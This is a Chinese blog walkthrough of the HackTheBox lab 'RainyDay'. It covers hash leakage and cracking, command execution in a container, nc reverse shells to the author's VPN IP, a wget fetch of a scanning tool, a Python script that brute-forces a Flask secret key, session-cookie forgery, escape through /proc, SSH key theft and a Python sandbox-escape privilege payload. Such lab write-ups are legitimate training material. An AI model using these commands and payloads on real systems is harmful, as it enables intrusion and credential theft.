HTB靶机:RainyDay

介绍

系统:linux
难度:困难
发布日期:2022/10/16
靶机地址:https://www.hackthebox.com/machines/rainyday
其他信息:2022年10月24日靶场删除了泄露的root的 SSH 密钥,并更改了泄露的root密码。个人打靶发现靶机还删除了python,其他变化尚未发现。
补充:这台靶机与Vulnhub靶机BOREDHACKERBLOG: SOCIAL NETWORK较为相似,只是利用起来更复杂很多。
在这里插入图片描述

主机信息探测

nmap -v -p- --min-rate 3000 -sV 10.10.11.184
nmap 10.10.11.184 -p22,80 -A

网站探测

开局就是一个访问不到
在这里插入图片描述

配置了hosts之后可以访问了,能够看到我的账号页面,点开之后爆破无果,尝试注册账号登录失败。
在这里插入图片描述

子域名爆破(BurpSuite)

面对需要绑hosts的靶机,需要做子域名爆破,看看kali上有哪些字典

locate dns | grep "/usr/share" | grep ".txt"

在这里插入图片描述

这里演示一下如何使用BurpSuite做子域名爆破:

  1. 下载kali中的相关字典
  2. 设置payload

在这里插入图片描述

  1. 开始爆破,忽略警告

在这里插入图片描述

  1. 分析爆破结果

爆破结果中基本都是302跳转到 http://rainycloud.htb,唯独一个爆破结果是403,简单测试后无法ByPass403,先绑定到hosts中吧,看后面是否会用得到。
在这里插入图片描述

目录爆破

dirsearch -u http://rainycloud.htb/ --full-url -R 2 -x 404 --exclude-sizes=0B

看到了一个有点意思的页面,但是尝试输入一个id后并没有出现什么有价值的信息,碰到这种情况也许是id的格式不对,不妨通过bp爆破一把梭。
在这里插入图片描述

爆破参数值

尝试使用不同的参数格式,如11.01-1,如何设置这种格式呢?如下:

  1. 设置爆破点

在这里插入图片描述

  1. 设置payload

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

结果发现编码导致了404错误
在这里插入图片描述

取消勾选即可
在这里插入图片描述

然后就发现了id参数的设置格式
在这里插入图片描述

得到了如下信息:

"id":2,
"password":"$2a$05$FESATmlY4G7zlxoXBKLxA.kYpZx8rLXb2lMjz3SInN4vbkK82na5W",
"username":"root"

"id":1,
"password":"$2a$10$bit.DrTClexd4.wVpTQYb.FpxdGFNPdsVX8fjFYknhDwSxNJh.O.O",
"username":"jack"

"id":3,
"password":"$2b$12$WTik5.ucdomZhgsX6U/.meSgr14LcpWXsCA0KxldEw8kksUtDuAuG",
"username":"gary"

分析 & 破解hash

来到网站:https://www.cmd5.com/,一个都没有破解出来。来到hashcat网站看看:
打开 hashcat 点击 Wiki
在这里插入图片描述

点开exam,发现 Hash-Mode 3200的类型符合爆破得到的hash样子
在这里插入图片描述

开始爆破:hashcat.exe -m 3200 C:\Users\asuka\Desktop\1.txt D:\字典\rockyou.txt
很快就爆破出来,id为3的用户gary的密码是:rubberducky
在这里插入图片描述

登录系统

登录之后如下,看样子可以创建一个docker容器并执行命令
在这里插入图片描述

下拉框有2个选择,测试发现第1个不行,点击之后没有有价值的反应。这里选择下拉框的第2个
在这里插入图片描述

经过多次尝试,发现通过如下2种格式可以成功执行命令,下面测试发现第一种执行方式有点问题,需要换成第二种才行。
在这里插入图片描述

在这里插入图片描述

反弹shell

检查发现靶机存在nc,并且支持-e参数。但是反弹shell时候除了一些幺蛾子。
在这里插入图片描述

  1. 使用常见命令:nc -e /bin/bash 10.10.14.9 6666反弹失败,检查发现靶机没有bash
  2. 使用常见命令:nc -e /bin/sh 10.10.14.9 6666反弹失败,检查发现靶机有sh
  3. 使用命令:nc 10.10.14.9 6666 -e /bin/sh反弹成功后立即断开连接,也许需要后台运行

在这里插入图片描述

  1. 使用命令:nc 10.10.14.9 6666 -e /bin/sh &反弹成功后立即断开连接

难不成,要换成另一种命令执行的格式?果然,换成另一种格式好了。
在这里插入图片描述

现在已经可以反弹shell了,于是就出现了一个问题。
我是使用物理机win11通过openVPN直接连接的靶机,我该如何让我的NAT模式虚拟机kali拿到shell呢?可以通过端口转发来解决。

端口转发

netsh是windows系统自带的一个命令行工具,这个工具可以内置端口转发功能。由于物理机都是有防火墙的,因此使用端口转发前需要先在本地测试一下能不能实现端口转发。

  1. 开启端口转发。

以管理员身份运行cmd,执行如下命令,一旦有人访问了物理机的4444端口,就转发给kali的4444端口。

添加端口转发的命令
netsh interface portproxy add v4tov4 listenport=4444 connectaddress=192.168.229.128 connectport=4444

查看端口转发的记录表
netsh interface portproxy show all

清除指定规则
netsh interface portproxy delete v4tov4 listenport=4444

清除所有规则
netsh interface portproxy reset

在这里插入图片描述

  1. 测试端口可用性

如下图,连接openVPN后,物理机得到一个IP:10.10.14.9,然后kali在4444端口开启一个web服务。物理机访问本地的4444端口果然看到了kali的web服务。说明端口转发没问题。
在这里插入图片描述

在这里插入图片描述

  1. 如果端口访问有问题,需要通过如下方式设置一下防火墙

在这里插入图片描述

  1. 开始端口转发

**测试发现,如果只是用于本地虚拟机和物理机之间的端口转发,可以不设置防火墙,像这种HTB靶机的话,需要设置防火墙才可以。**我这里新建了如下规则,允许3个端口可以做转发。
在这里插入图片描述

然后bp发送数据包,kali获取到shell
在这里插入图片描述

发现靶机上不存在python,因此只能通过sh获取一个简陋的交互环境,由于靶机一开始就说了自己是个docker环境,并且我们发现看到的IP和靶机IP不同,基本确认身处docker环境中。
在这里插入图片描述

简单的看了下内网,没法做主机发现,从arp中发现了一个主机,还是内网穿透吧,穿透之后再做内网。
在这里插入图片描述

内网穿透【很坑】

这里忘了写工具是怎么投递的了,下文“内网扫描”中会补写

这里尝试了很多款内网穿透工具,甚至关闭了物理机的防火墙,始终无法让kali与靶机之间建立隧道。最终放弃。第二天,也就是现在,重新捋了一遍思路:
首先恢复防火墙,重新做一遍端口转发
在这里插入图片描述

  1. 有两处位置可以执行命令,一处是前台(可以回显结果),一处是后台(不能回显结果)

在这里插入图片描述

  1. 昨天针对前台把各种方式试了一个遍,最终发现前台只能回显命令,无法做内网穿透

在这里插入图片描述

在这里插入图片描述

  1. 今天尝试使用后台执行命令

在这里插入图片描述

在这里插入图片描述

  • show显示网络拓扑

A表示admin节点,数字表示agent节点。下面的拓扑图表示,admin节点下连接了1节点

  • goto操作某节点
  • socks建立到某节点的socks5代理

执行成功socks命令之后,会在admin节点本地开启一个端口,如下图中通过1080端口即可进行socks5代理
在这里插入图片描述

配置socks代理

配置proxychains4.conf(较新版本的kali已经没有proxychains.conf了,取而代之的是proxychains4.conf)

ls -lh /etc | grep proxy
vim /etc/proxychains4.conf
tail -5 /etc/proxychains4.conf

在这里插入图片描述

内网扫描

懒得一个一个扫了,直接fsan一把梭

  1. kali开启web服务:python -m http.server 6666
  2. 靶机下载:wget http://10.10.14.9:6666/fscan_amd64

由于已经做了端口转发,因此访问物理机的6666端口,就会访问到kali6666端口的web服务。结果尴尬了,fscan扫不动,没结果。
在这里插入图片描述

那就只能老实的通过socks代理扫描了,在做“端口转发”的时候,通过arp得知docker网络中有个IP是172.18.0.1,猜测这个应该是宿主机的IP,先扫一波。这种扫描扫描的端口多,很费时间,目前能看到22、80端口,以及一个49153端口,不知道是什么鬼。想要一探究竟,还是得浏览器挂代理访问一下。

proxychains4 nmap -Pn -sT 172.18.0.1

在这里插入图片描述

从目前得到的来看,不出意外的话,应该是通过socks代理访问之前发现的子域名,通过它来实现docker逃逸,但是kali里面的字体比较小,截图不好看,并且不知道什么原因,kali里面的浏览器无法完整的渲染子域名,因此下面我直接使用自己的物理机来做内网渗透,部分情况下可能会使用虚拟机来做。

换用windows做内网渗透

  1. 开启隧道

在这里插入图片描述

  1. BurpSuite设置socks5代理访问内网成功

在这里插入图片描述

子域名信息收集

登录了之前爆破出来的子域名,这个时候再来看一下之前目录爆破的结果,竟然有了新的发现,这个时候注意到cookie是JWT格式的,但是请求包上面没有JWT按钮,看起来“JWT Editor Keys”插件不能正常编辑这个JWT数据,丢到 jwt.io 看一眼,发现这个JWT是签名无效。
那么,接下来怎么搞?没办法,翻看了下攻略,只能说,攻略也是晦涩的。能看出来大概意思是通过/api/healthcheck页面找到密钥来篡改JWT。那么,怎么找密钥?
在这里插入图片描述

攻略的操作很神奇,如下所示,可以看到:

  1. 变更请求方法为POST
  2. /etc/passwd的检查和过滤规则抄了过来,来检查文件中是否包含某内容
    1. 如果包含,返回结果为true
    2. 如果不包含,返回结果为false

攻略十分自信密钥中会包含SECRET_KEY,并且密钥存在于/var/www/rainycloud路径下。对于这种开挂行为,暂且看他就算开挂又是怎么打穿靶场的吧。
在这里插入图片描述

爆破密钥位置

  1. 设置payload

在这里插入图片描述

  1. 字典选用:SecLists-2022.2\Discovery\Web-Content\common.txt,然后取消URL编码

在这里插入图片描述

  1. 开始爆破

最终在“/var/www/rainycloud/secrets.py”中发现了密钥位置,爆破结果为true

POST /api/healthcheck HTTP/1.1
Host: dev.rainycloud.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y4G3sA.DfpGzMmf7s6XdCNpHG5vD-PWDTw
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

file=/var/www/rainycloud/secrets.py&type=CUSTOM&pattern=^SECRET_KEY.*'

在这里插入图片描述

爆破密钥内容

需要布尔爆破密钥内容,相关的脚本攻略里提供了。但是在此之前我们需要验证自己能否连接上靶场。
通过bp插件“Copy As Python-Requests”很方便得到了一段python代码,略微修改一下:
在这里插入图片描述

在这里插入图片描述

发现需要给python挂上代理,我这里图省事就不挂socks代理了,直接把python挂到bp上,发现代码能够正常跑起来,那就开始改造攻略里的脚本
在这里插入图片描述

改造后的脚本如下:

import string
import requests
import json

allchars = string.printable
cookies = {'session': 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y4G3sA.DfpGzMmf7s6XdCNpHG5vD-PWDTw'}	# 填写自己的cookie信息
proxy = {"http": "http://127.0.0.1:8089"}  # bp 监听端口临时改成了8089

s = requests.Session()
pattern = ""

while True:
    for c in allchars:
        try:
            rsp = s.post('http://dev.rainycloud.htb/api/healthcheck', {
                'file': '/var/www/rainycloud/secrets.py',
                'type': 'custom',
                'pattern': "^SECRET_KEY = '" + pattern + c + ".*"
            }, cookies=cookies, proxies=proxy)
            if json.loads(rsp.content)['result']:
                pattern += c
                print('[√]:'+str(pattern))
                break
            else:
                print('[×]:'+str(c))

        except Exception:
            print(rsp.content)

开始爆破,结果爆破一段时间后报错了,一检查竟然是隧道断开了。重新爆破,结果又是到这个爆破结果的时候断开了,看来是靶场自身的问题,只能把获取到的部分密钥值填入到脚本中,让脚本在爆破了。
在这里插入图片描述

拼接之后重新爆破,发现爆破出某段内容之后,再无新的爆破结果了,说明已经爆破完毕。
在这里插入图片描述

最终得到密钥:略(靶场在役,暂不公开)

JWT攻击

拿着密钥来到 https://jwt.io 发现根本没法篡改身份,那怎么办?
根据攻略,可以使用工具flask-session-cookie-manager 来做越权。已知的JWT攻击方式在BurpSuite网络安全学院里面都记录的有,靶场里的这种攻击方式我是第一次碰到。
在这里插入图片描述

当初网站探测的时候知道靶场上有三个用户:root、jack、gary
尝试越权root用户

git clone https://github.com/noraj/flask-session-cookie-manager.git
cd flask-session-cookie-manager
ls
python ./flask_session_cookie_manager3.py encode -s 密钥 -t "{'username': 'root'}"

在这里插入图片描述

得到cookie值:eyJ1c2VybmFtZSI6InJvb3QifQ.Y4H99A.ipx-A7fgdksnTVNLj9so7YLRWO0
篡改浏览器的cookie,刷新之后发现啥也没有,合着这个root账户没有用。
在这里插入图片描述

尝试越权jack用户
得到cookie值:略
在这里插入图片描述

于是,又是命令执行得到了一个shell,看起来是docker网络里的另一台机器
在这里插入图片描述

那么,接下来怎么办呢?完全没有方向了。查看攻略发现了pspy

进程监控

工具pspy在之前的靶机CEREAL: 1中介绍过,它让我们可以在没有特权的情况下看到linux系统上的所有进程。到这种时候了,能想到这个工具,还能打穿靶机,我不知道该说什么了,它不像web渗透是寻着线索打,现在的打法很乱。甚至可以称之为玄学,因此下面不再追究思路的合理性了。
pspy64投递到靶机上面,后台运行,看到了一个关于休眠的进程。
在这里插入图片描述

进入这个休眠进程中,发现了一个有意思的目录:

cd /proc/1120
ls -al

在这里插入图片描述

然后就发现,通过cd root进入到了靶机里面了。
在这里插入图片描述

Flag1 & 获取SSH私钥

得到了一个flag:略
在这里插入图片描述

然后获取SSH私钥,但是物理机没能使用私钥登录靶场
在这里插入图片描述

私钥丢到kali上面,连接靶场失败。
在这里插入图片描述

这个时候有2个办法:

  1. 换用kali使用nc接受文件,或者靶机开个web服务,让kali下载下来
  2. 复制私钥明文,粘贴到kali中。在之前的靶机中这样干过,可行。

我这里选择第2中办法,比较便捷:
首先读取到ssh私钥内容
在这里插入图片描述

粘贴私钥到kali中,成功登上靶机

vim id_rsa
chmod 400 ./id_rsa
ssh jack@10.10.11.184 -i ./id_rsa

在这里插入图片描述

提权

用户jack似乎可以提权为jack_adm,但是不知道该怎么提权。
在这里插入图片描述

python沙盒逃逸 & 提权为jack_adm

我本想扔一个提权脚本,意外发现靶机的/tmp目录下有个名为aa的文件,文件内容阅读不懂,通过攻略中的参考文档得知这是python沙河逃逸,我对这块并不了解,因此直接使用攻略中的利用代码完成提权。

echo 'print(().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]["__loader__"]().load_module("builtins").__import__("os").system("bash -i"))' > /tmp/test && sudo -u jack_adm /usr/bin/safe_python /tmp/test

在这里插入图片描述

破解hash

看起来,jack_adm账户可以通过sudo提权,但是这个提权涉及到了hash,再次涉及到知识盲区。攻略中提到的把密码设为空得到hash值,然后跑出盐值的方法已经失效,具体该怎么整没啥思路。只能放弃了。
在这里插入图片描述

参考

https://meowmeowattack.wordpress.com/2022/10/18/hackthebox-htb-writeup-rainyday/(文中提到的攻略)

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值